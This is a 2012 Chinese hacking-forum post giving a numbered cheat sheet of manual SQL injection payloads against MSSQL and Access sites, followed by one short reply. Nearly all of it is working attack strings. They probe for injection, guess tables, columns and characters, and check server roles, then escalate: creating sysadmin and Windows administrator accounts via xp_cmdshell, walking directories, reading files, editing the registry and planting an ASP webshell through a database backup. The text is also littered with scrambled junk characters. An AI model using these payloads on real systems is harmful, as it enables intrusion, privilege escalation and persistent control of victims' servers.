找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2141|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 1 h& M2 e- T8 {+ z  J( b
1.判断是否有注入;and 1=1 ;and 1=2 # |  \1 f8 z% z7 l, q

( i: O4 U3 ]( L: c/ d- l4 S$ T2.初步判断是否是mssql ;and user>0 8 C% {* z" P; }2 V

; u9 \+ M; A$ J1 Q: S3.注入参数是字符'and [查询条件] and ''=' 5 g$ B. S! E9 W( L! B: ~: k

- m6 P8 D3 |' p# j2 F4.搜索时没过滤参数的'and [查询条件] and '%25'=' . n' I1 N! p: }

4 a' K& c3 }2 E5 O0 \( u5.判断数据库系统
* y; t* R4 i( w$ c) u;and (select count(*) from sysobjects)>0 mssql
. w% G* q1 S4 n% K" E% _7 O1 l  c;and (select count(*) from msysobjects)>0 access : |( q2 f0 v. Y

- s: |3 ?" v( M0 O; t6.猜数据库 ;and (select Count(*) from [数据库名])>0 , Y+ s. ]( ?% |0 |% n/ A+ _6 R1 b
& G5 q/ Q9 p: u' D9 s) x
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
) L2 z0 q9 g. G: P; I7 [3 Y
1 Y& M# w; M' ?7 `8 X8 d! ^" w0 i8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
/ x! J* Y* t0 W0 g, G9 m" m7 o3 ], Q6 ~7 a
9.(1)猜字段的ascii值(access)
8 J/ b' C$ z+ I6 Y  N( t/ S;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0   y, _: M% A2 K. N+ \4 q, S8 ?, p3 J, m
* _; r$ a8 D0 K
(2)猜字段的ascii值(mssql) 6 W4 v4 d3 f& @/ F1 v$ Q2 S
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 & n. K$ i0 Q3 q0 @
1 g$ H5 e9 `0 ~" o
10.测试权限结构(mssql)
2 }" |0 X  k0 `;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
4 W# `3 v8 A0 C; x* `% O* A;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- . S4 r0 k0 E" b" w
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- / Y# q& ?0 v- p) s
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ! c$ K3 y  g/ K5 t1 m+ F
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
) X3 F0 @) @1 d$ l" Z- j;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 0 X, |. }  l$ d: ?8 v( S
;and 1=(select IS_MEMBER('db_owner'));-- : Y) o- Y! s. V4 s' W
# `5 z) A( A- P% `# Y! p" E8 u
11.添加mssql和系统的帐户
% s7 [  ]' |$ E;exec master.dbo.sp_addlogin username;--
: K' P% M' p! R6 [) Z( L
4 H( H# }! q- c, W8 H8 z;exec master.dbo.sp_password null,username,password;-- 3 ^, X" F3 |. l- z- {# H
" U1 j& S6 D* d1 M- H, K
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- : J9 N; r$ D7 H

( G2 ]' V) u: K;exec master.dbo.xp_cmdshell 'net user username password 7 y5 ]9 J) q' m; N6 c9 S
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
, G" r. k4 x9 h# u/ M" R) o" w) ^* f9 a$ X. F
;exec master.dbo.xp_cmdshell 'net user username password /add';--
; x) }' m1 i- o0 u& a  ^! g' h) U- h! \4 _- q2 M
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
9 }2 q' J' B8 u- }( j. b; H0 n$ U" E1 I6 Z  g* b" \
12.(1)遍历目录
8 u/ E7 L6 g* l! T+ m. |+ `0 ~  ~# v( w. S/ o0 {* C9 V" D3 ~: T. ?
;create table dirs(paths varchar(100), id int) & b6 ~) S2 p: d' L
;insert dirs exec master.dbo.xp_dirtree 'c:\'
! U7 X5 [7 z) B3 p' e! R1 i;and (select top 1 paths from dirs)>0
7 b! k$ i/ S2 S- T5 Y2 `2 w* Y;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) : }  h3 v6 v% ?2 B0 A* T4 W
0 ]# d1 ~9 X: x( Z
(2)遍历目录 - N4 d: _, }' `: j
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
6 `9 Q" ~/ p: H$ h. A;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
9 P9 @8 j5 F+ Q0 q% `;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
( o  d7 R+ }8 `( o;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
) \4 O# ?/ k7 y;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
) r" _/ [8 m1 J  J% t
9 K' G, o6 |& m$ [' `5 s+ }13.mssql中的存储过程 - i/ l3 z+ _) A! `0 |' Q* j; Y# w
9 M2 \9 x/ u9 T& u2 }
xp_regenumvalues 注册表根键, 子键
6 s9 p% E/ e6 C6 M;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ) J* F) _2 g' n9 Y. R$ ~

. Y: E2 I; u3 `$ |xp_regread 根键,子键,键值名 7 h) p2 w+ F. x/ N6 O
;exec xp_regread 8 L1 I- V" j. V
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
2 L( [' F2 V+ O5 T
5 l  C- R4 O  s0 w: c5 O+ _+ Gxp_regwrite 根键,子键, 值名, 值类型, 值
' h, Q+ g' }4 a% i值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
$ m9 E, M  q, h! l& _; f2 K;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
& R0 |: d& o/ |& a$ l
9 N4 D9 _% a' txp_regdeletevalue 根键,子键,值名
# Q* x4 D1 E8 }, ^, c3 {: B- C) [+ I; o7 F- t
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
- R4 P7 a' H% T8 y1 T, p2 J% j$ `3 U6 F& _' w' M$ I
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ' _: k2 U5 M! c( Q/ G
, T( n9 a( Z3 `8 q' K% e9 a
14.mssql的backup创建webshell : H3 i6 J) P9 k2 E
use model + t# L' o7 v6 O
create table cmd(str image);
1 _, `& |1 z9 s/ o% tinsert into cmd(str) values ('');
! k  j) X/ P) W6 G1 Ubackup database model to disk='c:\l.asp';
4 P* h# c& H: D. y- @& W" {3 P5 P, r' ^6 I5 N! M6 p+ U
15.mssql内置函数
: b9 d7 @/ W  d% q! N3 t! G# a5 `;and (select @@version)>0 获得Windows的版本号 4 e- Z. k9 A; u  a. l/ E1 J2 w1 j
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 0 f& k. c+ ~6 R: `
;and (select user_name())>0 爆当前系统的连接用户
( _0 h7 O* p/ V5 Y;and (select db_name())>0 得到当前连接的数据库 : v( ^$ V) \/ {% k6 Y' x! I- c( y
) s, _3 m$ J/ n& J3 L+ N9 |
16.简洁的webshell . \6 r& a9 T1 o4 H: F: G

2 u  y9 U  n; S2 Q3 |7 Ause model % P9 Q0 t# i9 k% G5 R
# b4 B9 H. q4 o( F! l9 j6 ~
create table cmd(str image);
$ Y9 c& S7 H2 E2 C7 u, _
! K0 Y9 X: W; f) g, p! `insert into cmd(str) values (''); 9 I6 I4 y' D; c. e/ \1 ~; _. v# g

$ c) @; a0 s+ f" S. abackup database model to disk='g:\wwwtest\l.asp';
8 A8 t( j* f  F5 I5 `0 x+ k . Z8 [" m$ ~4 X5 h) i
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表